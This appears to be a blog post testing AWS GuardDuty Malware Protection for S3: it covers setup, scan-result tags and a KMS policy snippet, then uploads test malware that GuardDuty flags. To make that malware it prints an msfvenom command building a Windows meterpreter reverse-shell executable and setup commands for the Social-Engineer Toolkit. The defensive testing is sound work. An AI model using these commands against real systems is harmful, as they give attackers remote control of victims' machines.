Where Danger Lives- Scanning Untrusted Uploads to S3

Prior to the introduction of GuardDuty Malware Scanning for S3, detecting malicious objects in S3 uploads was something AWS customers needed to architect themselves. A typical workflow would look something like this:

https://aws.amazon.com/blogs/apn/integrating-amazon-s3-malware-scanning-into-your-application-workflow-with-cloud-storage-security/. The available scanning engines were ClamAV and Sophos.

With the introduction of GuardDuty Malware Scanning for S3, https://docs.aws.amazon.com/guardduty/latest/ug/gdu-malware-protection-s3.html, customers have a managed service available to use. Some of the useful components of this service are options for automatic tagging, sending events to CloudWatch, and creating actions based on alerts. So let’s test it out!

You can turn on GuardDuty Malware Protection for S3 only, but I chose to turn on GuardDuty too. This is a newer account and it was not already turned on.

I turned it on in a fresh, empty bucket and turned on tagging. The tags available are:

• NO_THREATS_FOUND — GuardDuty detected no potential threat associated with the scanned object.
• THREATS_FOUND — GuardDuty detected a potential threat associated with the scanned object.
• UNSUPPORTED — There are a few reasons why Malware Protection for S3 will skip a scan. Potential reasons include password-protected file, Malware Protection for S3 quotas, and certain Amazon S3 features. For more information, see Capabilities of Malware Protection for S3.
• ACCESS_DENIED — GuardDuty can’t access this object for scanning. Check the IAM role permissions associated with this bucket.
• FAILED — GuardDuty can’t perform malware scan on this object because of an internal error.

You’ll also need to set up permissions and a trust relationship for the scan actions. The View permissions section shown above will specify exactly how it should be set up. You can attach these to an existing role or a new one. You’ll need to replace the key id in this section (use with your customer managed key ID. If your bucket is encrypted by using an AWS KMS key, replace the placeholder value below with an *):

"Sid": "AllowDecryptForMalwareScan", "Effect": "Allow", "Action": [ "kms:GenerateDataKey", "kms:Decrypt" ], "Resource": "arn:aws:kms:us-east-1:111122223333:key/APKAEIBAERJR2EXAMPLE", "Condition": { "StringLike": { "kms:ViaService": "s3.us-east-1.amazonaws.com" 

Now it’s time to be evil. I used a few different tools to create malicious files.

• Msfvenom- There are many tutorials on msfvenom. This command is from https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/msfvenom and something like this will create a reverse shell and produce an exe.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.222 LPORT=4467 -f exe > reverse.exe

• I also used the Social-Engineer Toolkit from TrustedSec, https://trustedsec.com/resources/tools/the-social-engineer-toolkit-set to create a few different infected pdf’s and a text file. Social Engineer Toolkit is quick and easy to set up:

git clone https://github.com/trustedsec/social-engineer-toolkit/ setoolkit/ cd setoolkit pip3 install -r requirements.txt python setup.py 

Once it is up and running, you have many options to create something pernicious.

• I followed this post from Didier Stevens to create a malware Matryoshka, or an eicar embedded in a word .doc embedded in a pdf: https://blog.didierstevens.com/2015/08/28/test-file-pdf-with-embedded-doc-dropping-eicar/

Once I had an assortment of malicious files, I uploaded them into my S3 bucket:

The malicious files were promptly tagged.

GuardDuty showed them in Findings, with additional details on the specific threat found:

They showed up in CloudWatch Metrics:

Next steps:

• Automating my response to malware using EventBridge notifications and rules
• CloudWatch metrics — enable alarms on certain malware scan status, possibly alarming on the Infected Scan Count metric or similar
• Tag-based access control (TBAC)- for example, I can restrict access to the S3 objects that have the tag value THREATS_FOUND. The way I have things currently set up, I am allowed to remove this tag. A possible way to prevent this is using SCPs- https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples_tagging.html#example-require-restrict-tag-mods-to-admin

Thanks for reading and stay safe out there!